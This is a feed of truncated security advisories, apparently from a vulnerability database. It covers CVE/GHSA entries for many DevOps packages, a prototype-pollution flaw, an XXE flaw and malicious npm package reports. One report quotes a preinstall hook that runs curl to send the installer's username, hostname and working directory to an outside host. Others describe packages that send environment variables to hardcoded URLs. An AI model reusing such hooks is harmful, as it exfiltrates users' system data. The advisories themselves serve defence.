GHSA-M7CR-M3PV-HGRP vulnerabilities

Vulnerabilities for packages: pulumi-language-yaml, zot, nfpm, kots, nuclei, rancher-fleet, tfsec, grype, gitlab-runner, gitea, guac, pulumi, crossplane, terragrunt, osv-scanner, scorecard, zarf, argo-workflows, k9s, melange, kargo, gptscript, argo-cd, wolfictl, trivy, syft, xeol, grafana-alloy,...

GHSA-CRHJ-59GH-8X96 vulnerabilities

Vulnerabilities for packages: pulumi-language-yaml, zot, nfpm, kots, nuclei, rancher-fleet, tfsec, grype, gitlab-runner, gitea, guac, pulumi, crossplane, terragrunt, osv-scanner, scorecard, zarf, argo-workflows, k9s, melange, kargo, gptscript, argo-cd, wolfictl, trivy, syft, xeol, grafana-alloy,...

CVE-2026-45571 vulnerabilities

Vulnerabilities for packages: pulumi-language-yaml, zot, nfpm, kots, nuclei, rancher-fleet, tfsec, grype, gitlab-runner, gitea, guac, pulumi, crossplane, terragrunt, osv-scanner, scorecard, zarf, argo-workflows, k9s, melange, kargo, gptscript, argo-cd, wolfictl, trivy, syft, xeol, grafana-alloy,...

CVE-2026-45570 vulnerabilities

Vulnerabilities for packages: pulumi-language-yaml, zot, nfpm, kots, nuclei, rancher-fleet, tfsec, grype, gitlab-runner, gitea, guac, pulumi, crossplane, terragrunt, osv-scanner, scorecard, zarf, argo-workflows, k9s, melange, kargo, gptscript, argo-cd, wolfictl, trivy, syft, xeol, grafana-alloy,...

Malicious code in @aswinsparky/api (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 8cceefd98563e2885501c896472471f2bb20b77103ad99c253775570cae6b4fe index.js line 11 issues a fetch to the hardcoded URL https://api.aswinsparky.qzz.io carrying values read from process.env. The destination is a...

CVE-2026-45571 vulnerabilities

Vulnerabilities for packages: witness, gitsign, argo-workflows, grype-fips, src-fingerprint-fips, argo-workflows-fips, grype-db, coder-fips, kubevela, melange, flux, flux-fips, nuclei, kubescape-server-fips, steampipe, cerbos-fips, crossplane-fips, chainctl, argo-events, packer, kots,...

GHSA-CRHJ-59GH-8X96 vulnerabilities

Vulnerabilities for packages: witness, gitsign, argo-workflows, grype-fips, src-fingerprint-fips, argo-workflows-fips, grype-db, coder-fips, kubevela, melange, flux, flux-fips, nuclei, kubescape-server-fips, steampipe, cerbos-fips, crossplane-fips, chainctl, argo-events, packer, kots,...

GHSA-M7CR-M3PV-HGRP vulnerabilities

Vulnerabilities for packages: witness, gitsign, argo-workflows, grype-fips, src-fingerprint-fips, argo-workflows-fips, grype-db, coder-fips, kubevela, melange, flux, flux-fips, nuclei, kubescape-server-fips, steampipe, cerbos-fips, crossplane-fips, chainctl, argo-events, packer, kots,...

CVE-2026-9101

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101 Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101 Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

CVE-2026-9101

The CVE-2026-9101 entry describes a prototype pollution flaw in CSV parsing during import. The underlying issue can allow untrusted file paths (not arguments) to reach shell.openExternal after specific user actions, potentially enabling a limited form of “1-click” command execution. Documents do ...

EUVD-2026-31127

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

Prototype pollution in csv parsing

Prototype pollution in csv parsing logic during import can lead to untrusted file paths but not arguments entering shell.openExternal after specific user behavior leading to "1-click" command execution...

XML External Entity (XXE) Injection

Overview Affected versions of this package are vulnerable to XML External Entity XXE Injection via the Crawler::addXmlContent XML parsing logic. An attacker can read arbitrary local files by supplying crafted XML containing external entities, as validateOnParse re-enables DTD processing and...

MAL-2026-4605 Malicious code in mamadoos-test (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 21b5454856fbb360a162083d9d582eba3839b7105ce6e36490e188b3729388d4 package.json declares a preinstall lifecycle hook that runs curl https://huntr.site/depconf/$whoami@$hostname?pwd=$pwd, embedding the installer's OS...

MAL-2026-4400 Malicious code in @kmmao/happy-coder (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c4478b22a21a87a37250e86ef25639330f79b779e5793f642eaf7ddaafd975d4 This package is a near-verbatim fork of the upstream happy-coder/happy-cli references to slopus/happy-cli and happy.engineering are retained througho...

Malicious code in @scp3500/openvl (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector fee1ab6796d8af462e9f00e82a28545b72eae4d9d9f0ab0f36ca4b09cd29487c scripts/mcpserver.js loads childprocess, fs, and http, reads from process.env, and issues HTTP POST requests to a hardcoded external destination at...

Operationalizing CTEM Faster: Build Surface Command Dashboards in Minutes

Modern attack surfaces don’t sit still. Cloud expansion, SaaS sprawl, identity complexity, and shadow IT are continuously reshaping organizational risk. For security leaders, visibility isn’t the challenge anymore, but actually operationalizing that visibility is. Surface Command was built to uni...